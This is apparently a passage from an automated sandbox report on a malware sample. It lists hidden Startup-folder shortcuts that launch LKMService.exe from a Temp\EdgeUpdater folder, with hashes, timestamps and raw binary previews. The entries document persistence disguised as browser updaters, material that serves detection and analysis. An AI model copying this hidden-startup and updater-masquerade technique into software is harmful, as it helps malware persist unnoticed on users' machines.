Preview:	L..................F...."......P....B.dP....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P......dP.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_8f1575a7977249ee8142529527c6864d.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:53:03 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	4.9479776036952545
Encrypted:	false
SSDEEP:	24:8pqRBeYl1RogKrA5+W8Ajfv/42egvqyFm:8pqRBr1R8AZjvgTyF
MD5:	98656B61A948BE5F1C68D56BDD403891
SHA1:	8B66499F627E61333E349B87941F63E7EEC71D21
SHA-256:	BFFDA5EBE13CA12970E867E2C2229E1D580F365B883A114AD69A9F984A4EDB3F
SHA-512:	BA3C8B75AA3788EDBB3FB5A9557EFF0537CD8ADB5E0FC51DF505CA348F9C4C401D30B85EE0E3B9B2A645C4174B05660B742CD2F002BA7ABBFC11793AB1FB159C
Malicious:	false
Preview:	L..................F...."......P.....Q!P....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P...9$u.P.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_8fc7e022430f4c0eb32963c90cabc375.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:55:12 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	4.941046336950551
Encrypted:	false
SSDEEP:	24:8p/RfeYl1RogKrA5+W8Ajfv/42egvqyFm:8p/Rfr1R8AZjvgTyF
MD5:	F26FAC79428ECD3A93F8F51318EB2F16
SHA1:	9064B4F897E23A7E1755C370F2B8C16B9F3AFF2F
SHA-256:	EA60FE7CEA637FB91ACBB851599DA86AC80F0FDDAA2BB3BA849626F36AFAA385
SHA-512:	F604A4473EB26C9D35273B910B3E095772CEE37CDA4C47523944D7168F823D5B660051342A87592B942FA8A004BE0A0BA2D66F643AC6883B25D078E29EDC3F38
Malicious:	false
Preview:	L..................F...."......P......mP....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P...c..lP.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_8fc872a122124b5bbd1ebd05e7c8393f.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:55:15 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	4.934757937360522
Encrypted:	false
SSDEEP:	24:8ptRfeYl1RogKrA5+W8Ajfv/42egvqyFm:8ptRfr1R8AZjvgTyF
MD5:	5E4817C25F67D8FB6B30B2AF642E82BA
SHA1:	E543D0597D537931ECFFC18FB0992E40100D4B90
SHA-256:	49B5A4F97069AC36097814453C3574DC4A92A73ED553641967B500F65A914350
SHA-512:	00410BFFE1F5602EDECC11EF20DA6B69A908E043B623F7680497F1B839352D4D11710F847B8A957BF234C040CDB5AAEC3567EF03C391D791F8F36B8D9D711F7A
Malicious:	false
Preview:	L..................F...."......P...^q.oP....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P...c..lP.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_90b3e32a008f42d1afff99ab33d59e72.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:53:51 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	4.9377632310508845
Encrypted:	false
SSDEEP:	24:8pDRjeYl1RogKrA5+W8Ajfv/42egvqyFm:8pDRjr1R8AZjvgTyF
MD5:	AA277704EF87CEBDEA338B36CC734ABB
SHA1:	BD8847A655153E399BB16D6750D623465F8E0C0B
SHA-256:	21E72FC672D85504E77D09BEE8C88C87B6B6BD0CF7FE0BA39073399C8CDFD8B4
SHA-512:	7716AF4826CC6DA12871C3548DD989A2B0D061B46C97D738FBBF5EADCED8ACBCD7A82F277983456BDE2B1E12EA9FEC1E05FA2BC91CC6B1501AEB4D812EFB3334
Malicious:	false
Preview:	L..................F...."......P...-cy=P....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P...".@.P.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_90ff9500f00e4c0f837777ff468b61ea.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:54:33 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	4.937678956392565
Encrypted:	false
SSDEEP:	24:8peZRZEeYl1RogKrA5+W8Ajfv/42egvqyFm:8peZROr1R8AZjvgTyF
MD5:	1F894DB458B859C86A65DF4240BDBBCE
SHA1:	0532EAC295635029154E24F9463EE13E473F8A8D
SHA-256:	F447D494285B539EEFE41ECC90B96FF345A7A4A6C867A24C983A4DC0C4B5524E
SHA-512:	566A903B0037CCC597993D2F77221518EFA624C7032C53B8B29678248FEC4139B1A01ED95E3A07C66EEB2D4DC7E8E7B34125412AE00041D09A7A09F07F5011CA
Malicious:	false
Preview:	L..................F...."......P...2$.VP....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P...\|..TP.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_9107ab1018104d86afb2b29045417219.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:53:00 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	4.942606694010361
Encrypted:	false
SSDEEP:	24:8pVRBeYl1RogKrA5+W8Ajfv/42egvqyFm:8pVRBr1R8AZjvgTyF
MD5:	BEADFC778B0DC0AC2167B114BDA087C1
SHA1:	B83DF96CC0C3FBFA453AF498DF7BBFEA7DB1BBDA
SHA-256:	A1B5B6D33658D2683D0732D8FB6D501291CF293871B85EDBA08C2DD3A1D601F4
SHA-512:	F8FA85F66BA83F6C5C6FD69B4B6F40ABF27950B64732673510F73F8384E9D73423C80E5B19DB9927BE9D250132767D06C3E5752BD8217E6EACD6623B1F3A6B7E
Malicious:	false
Preview:	L..................F...."......P.....k.P....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P...9$u.P.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_92e71b09f6eb49e190831f59b9874117.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:55:21 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	modified
Size (bytes):	1185
Entropy (8bit):	4.941724515480725
Encrypted:	false
SSDEEP:	24:8pRRBx/eYl1RogKrA5+W8Ajfv/42egvqyFm:8pRRBx/r1R8AZjvgTyF
MD5:	F46C10BF055E63F72EEFF95D9D99DB7F
SHA1:	15DAED27E290DFCAE9B0D3C705D66EA3628F4A12
SHA-256:	D80E60CF029DF278DF672D70E845140975987DF16CD44FCFAD7BCDDA1D612B50
SHA-512:	33FC4670576F6B5009AE7EAFD4633CAE418A8ECA6F226B4346136AFBDEAA548798E18DEFD4E905D29778D4278CBEBAA1DE927DF784C88DD67A3EF93F04201C82
Malicious:	false
Preview:	L..................F...."......P...-.?sP....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P......qP.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_930f00d034644c5886641a2ab7b8e45e.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:53:55 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	4.938776192634039
Encrypted:	false
SSDEEP:	24:8pLORjeYl1RogKrA5+W8Ajfv/42egvqyFm:8pLORjr1R8AZjvgTyF
MD5:	024894D93D2D3D2E4CB285762B2FE66C
SHA1:	7722074BD5F14D4A7C65F266402A6ABD400C97D7
SHA-256:	A70FC4B540AC4C58BE495F41A8F0BE2FF3CF906EC63CBD20CD7F34C40C9A3A8C
SHA-512:	5DB74206D33D27A49B6927709C69B9BFECF587AD4A96D87B8A3963DE774C107CE58F08CA4C312498AA461526CBA5DD09F9434829F63C82454FDB1E7A3ABE8B12
Malicious:	false
Preview:	L..................F...."......P....m.?P....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P...".@.P.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_93b05c4d627146df84959b78c065b170.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:53:43 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	4.936990641662635
Encrypted:	false
SSDEEP:	24:8pKRjeYl1RogKrA5+W8Ajfv/42egvqyFm:8pKRjr1R8AZjvgTyF
MD5:	8B020875BF0B086DA99CDF8242697F9A
SHA1:	01C476948ABD16181CF35DC4AFA6CC8A71035F62
SHA-256:	3046A49FC37FC627623800B972B7EEAF83C84008512FAAC6268E2DC38A662356
SHA-512:	E98030308E0D7C45CF2BACA4F28F97B9884791F047263ADB85007DE127491745D008F791A47E481D6FB02A77972BB78982FDC859821DCFE3C63B23BC1146C450
Malicious:	false
Preview:	L..................F...."......P.... '9P....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P...".@.P.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_93b2bcec93924441bf062241cac8bcfa.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:53:20 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	4.940673787634451
Encrypted:	false
SSDEEP:	24:8p3RjeYl1RogKrA5+W8Ajfv/42egvqyFm:8p3Rjr1R8AZjvgTyF
MD5:	FD4BBABCB6BC3C4BDC8DB7837C9EB97E
SHA1:	73C2784BAD9DEFDBCF137A0DF82FD35EFD796C8B
SHA-256:	ABFB56F3F7078CFD610BB504C4A10B1576B19C15CAF9B5714D8E90F029C7DDE7
SHA-512:	B56BE875AF454790897F4B7B76ED42AD57632BBDBDC036E8BF23742E5DB3ABBB26D505F73E495F424BCFFD65DB0305629792356864997ABE87A95C8B433312F6
Malicious:	false
Preview:	L..................F...."......P...k.+P....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P...".@.P.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_93ca087eb9804602bcd2d31eb09648c5.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:53:35 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	4.938417434532581
Encrypted:	false
SSDEEP:	24:8pERjeYl1RogKrA5+W8Ajfv/42egvqyFm:8pERjr1R8AZjvgTyF
MD5:	04E8B6075C9EB874895D783F88DE6ADC
SHA1:	468F56A53366A90C2D789ACF0151285195311180
SHA-256:	D1C42C1709F19222BBAF83074C8E24E1EDBDF7C8D972254D1298451D3E1ABC31
SHA-512:	6911C2E44E489107C6DA4441624E93E492CBAB1242E432AF401CB03DC05C99021B0B38D5A7D9E6168A4FE41E8E90687642D531648269295EAE0B71323F36D044
Malicious:	false
Preview:	L..................F...."......P....F<4P....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P...".@.P.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_94e5a6ccc49c4da3b45df093f1e6b9a0.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:52:54 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	4.939846403675508
Encrypted:	false
SSDEEP:	24:8pkzvRjeYl1RogKrA5+W8Ajfv/42egvqyFm:8p6vRjr1R8AZjvgTyF
MD5:	7E2CDA54F34AE1AD341A4BC207C1F1E8
SHA1:	0CA0E6DB15E1107F5F33246DFFD23FFA383FAA40
SHA-256:	19C366C4A5065D4CD3038D569D8370775B03C4F5228FB84DC92D8089C62F4290
SHA-512:	B21E561DD92662BB1D29AF34FC69BF7B648EF942EB9BDC7DE3B06E8B7C91678261CBDBB653525B10AC177A9397B736D936DDBA6FE5D92608E15FC2C7C752AD2E
Malicious:	false
Preview:	L..................F...."......P...P...P....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P...".@.P.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_94e6b20f455d4378b2984888b22868f6.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:54:17 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	4.94318661972617
Encrypted:	false
SSDEEP:	24:8pnORPeYl1RogKrA5+W8Ajfv/42egvqyFm:8pnORPr1R8AZjvgTyF
MD5:	A641071DCAE4B77A8522C5DF90CC982D
SHA1:	8BBDD4B4A7E979A8E15B22D15F469A7A2DD5F6B4
SHA-256:	C44A13DE4DDA55D9BD6B2D7FDEC45FAA571BE552B020987EB2DAB8ECEAECBDB6
SHA-512:	93008A52DAA674A1C5ABA875C100C0EBE09C2714923BF93F083E9491E21DA28E5A46EE96FE261AD6D5D87C665768F3CC2A42151149793714BF9988BB635F6D87
Malicious:	false
